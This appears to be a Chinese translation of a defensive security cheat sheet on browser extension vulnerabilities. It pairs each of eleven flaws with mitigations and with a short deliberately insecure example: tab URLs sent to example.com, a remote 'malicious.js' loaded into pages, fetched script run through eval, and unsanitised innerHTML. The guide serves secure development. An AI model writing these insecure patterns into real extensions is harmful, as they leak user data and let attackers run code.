浏览器扩展安全漏洞速查表¶
1. 权限越界¶
漏洞:权限越界¶
浏览器扩展有时会请求超出实际所需的权限。这可能使其获得访问所有标签页、浏览历史甚至敏感用户数据的权限。如果扩展程序受到攻击,可能会导致严重的隐私风险。
示例:权限越界¶
{
"manifest_version": 3,
"name": "My Extension",
"permissions": [
"tabs",
"http://*/*",
"https://*/*",
"storage"
]
}
缓解措施:权限越界¶
遵循最小权限原则 (PoLP),仅请求绝对必要的权限。尽可能使用可选权限,而不是预先授予完全访问权限。定期审计并移除不再需要的权限。
2. 数据泄露¶
漏洞:数据泄露¶
某些扩展程序可能会在没有适当安全措施的情况下,将浏览活动或个人详细信息发送到外部服务器,从而无意中暴露用户数据。
示例:数据泄露¶
chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => {
if (changeInfo.status === 'complete') {
fetch('http://example.com/track', {
method: 'POST',
body: JSON.stringify({ URL: tab.URL })
});
}
});
缓解措施:数据泄露¶
始终对所有通信使用 HTTPS 以防止数据拦截。限制数据收集,并通过在隐私政策中明确说明收集的数据来保持透明。在收集或发送任何个人数据之前,实施用户同意机制。
3. 跨站脚本 (XSS)¶
漏洞:跨站脚本 (XSS)¶
如果用户输入未经过适当清理,攻击者可以将恶意脚本注入网页,从而可能窃取用户数据或执行未经授权的操作。
示例:跨站脚本 (XSS)¶
let userInput = document.getElementById('input').value;
document.getElementById('output').innerHTML = userInput; // No sanitization
缓解措施:跨站脚本 (XSS)¶
实施内容安全策略 (CSP) 以阻止内联脚本。使用 DOMPurify 等库在显示用户输入之前对其进行清理。避免使用 innerHTML,而是使用 textContent 来防止注入脚本的执行。
4. 不安全通信¶
漏洞:不安全通信¶
某些扩展程序通过不安全的 HTTP 连接发送敏感数据,使其容易受到攻击者的拦截。
示例:不安全通信¶
fetch('http://example.com/api/data');
缓解措施:不安全通信¶
始终对外部通信使用 HTTPS 以防止数据盗窃。在处理服务器响应之前对其进行验证,以确保数据完整性。
5. 代码注入¶
漏洞:代码注入¶
从不受信任的来源动态加载脚本的扩展程序可能会被利用来注入和执行恶意代码。
示例:代码注入¶
let script = document.createElement('script');
script.src = 'http://example.com/malicious.js';
document.body.appendChild(script);
缓解措施:代码注入¶
使用 CSP(内容安全策略)来限制脚本来源。更多详情请参阅CSP 速查表。避免使用 eval() 和 innerHTML,因为它们可以执行恶意代码。优先使用扩展程序消息 API,而不是将脚本注入网页。
6. 恶意更新¶
漏洞:恶意更新¶
如果扩展程序从不受信任的服务器获取更新,攻击者可能会向所有用户推送恶意更新。
示例:恶意更新¶
chrome.runtime.onInstalled.addListener(() => {
fetch('http://example.com/update-script.js')
.then(response => response.text())
.then(eval); // Unsafe!
});
缓解措施:恶意更新¶
使用数字签名签署扩展程序更新,以确保真实性。不要在扩展程序内部获取更新,而应依赖扩展程序市场提供的更新。请参阅“不要注入或集成远程脚本”。在执行任何获取的代码之前,实施完整性检查。
7. 第三方依赖¶
漏洞:第三方依赖¶
在扩展程序中使用过时或易受攻击的第三方库,如果这些库存在已知漏洞,可能会引入安全风险。
示例:第三方依赖¶
{
"dependencies": {
"vulnerable-lib": "1.0.0"
}
}
缓解措施:第三方依赖¶
定期审计第三方依赖项的安全漏洞。使用 npm audit 或 OWASP Dependency-Check 等工具来检测风险。优先选择活跃维护且有频繁安全更新的库。
8. 缺少内容安全策略 (CSP)¶
漏洞:缺少内容安全策略 (CSP)¶
如果没有严格的 CSP,攻击者可以将脚本注入扩展程序的网页,增加跨站脚本 (XSS) 攻击的风险。
示例:缺少内容安全策略 (CSP)¶
{
"manifest_version": 3,
"name": "My Extension",
"content_security_policy": "default-src 'self'"
}
缓解措施:缺少内容安全策略 (CSP)¶
在扩展程序的 manifest.json 文件中定义严格的 CSP。使用基于 nonce 或基于哈希的策略,仅允许受信任的脚本。阻止内联脚本的执行并限制第三方内容来源。
9. 不安全存储¶
漏洞:不安全存储¶
将敏感数据(如身份验证令牌)存储在 localStorage 或其他不安全位置,会使攻击者轻易获取。
示例:不安全存储¶
localStorage.setItem('token', 'my-secret-token'); // No encryption
缓解措施:不安全存储¶
将敏感数据存储在 Chrome 存储 API 中,它比 localStorage 提供更好的安全性。在本地保存数据之前对其进行加密。切勿在扩展程序代码中硬编码 API 密钥或凭据。
10. 隐私控制不足¶
漏洞:隐私控制不足¶
如果扩展程序没有明确定义其如何收集和处理用户数据,可能会导致隐私泄露和未经授权的数据使用。
示例:隐私控制不足¶
{
"manifest_version": 3,
"name": "My Extension",
"description": "A cool extension with no privacy policy."
}
缓解措施:隐私控制不足¶
实施明确的隐私政策,解释数据收集实践。允许用户选择退出数据收集。披露数据共享实践以遵守 GDPR、CCPA 和其他隐私法规。
11. 基于 DOM 的数据窃取¶
漏洞:基于 DOM 的数据窃取¶
当扩展程序将敏感的用户信息直接渲染到网页的 DOM 中时,这些数据将对该页面的自身脚本变得可访问。
无论使用何种方法,包括纯 JavaScript DOM 操作或注入使用 React 等框架构建的组件,都存在此风险。
恶意或受损的网页可以检查 DOM,读取敏感数据(例如,个人身份信息、财务详情、AI 聊天记录),并将其窃取。
示例:基于 DOM 的数据窃取¶
// content-script.js
// Sensitive data fetched from the extension's background service
const userData = {
name: "Jane Doe",
email: "[email protected]"
};
// This injects sensitive data directly into the page's DOM
const userInfoDiv = document.createElement('div');
userInfoDiv.innerText = `name: ${userData.name}, email: ${userData.email}`;
document.body.appendChild(userInfoDiv);
缓解措施:基于 DOM 的数据窃取¶
避免将任何敏感信息直接渲染到网页的 DOM 中。相反,在与网页上下文隔离并由扩展程序控制的 UI 元素中显示敏感数据。
使用安全的替代方案,例如:
- 弹窗 (Popup):当用户点击扩展程序图标时,在弹窗 UI 中显示信息。
- 选项页面 (Options Page):使用专用的选项页面来显示用户特定数据或设置。
- 侧边栏 (Side Panel):使用侧边栏在一个独立窗格中显示持久 UI,与页面内容隔离。(仅供参考,“Side Panel”是 Chromium 的术语。Firefox 称之为“Sidebar”。)
值得注意的是,即使使用 Shadow DOM 进行封装也可能不足以作为安全防护,因为页面脚本仍然可以查询“开放”的 Shadow DOM。此外,如果您的安全模型将其他浏览器扩展程序视为威胁,那么即使是“封闭”的 Shadow DOM 也不安全。这是因为扩展程序可以使用 openOrClosedShadowRoot()
API 穿透“封闭”的 Shadow DOM。
因此,使用真正独立的由扩展程序控制的 UI 是最可靠的缓解措施。
结论¶
遵循这些安全最佳实践,开发者可以构建更安全的浏览器扩展程序,并保护用户免受隐私和安全威胁。在开发扩展程序时,始终优先考虑最小权限、加密和安全编码原则。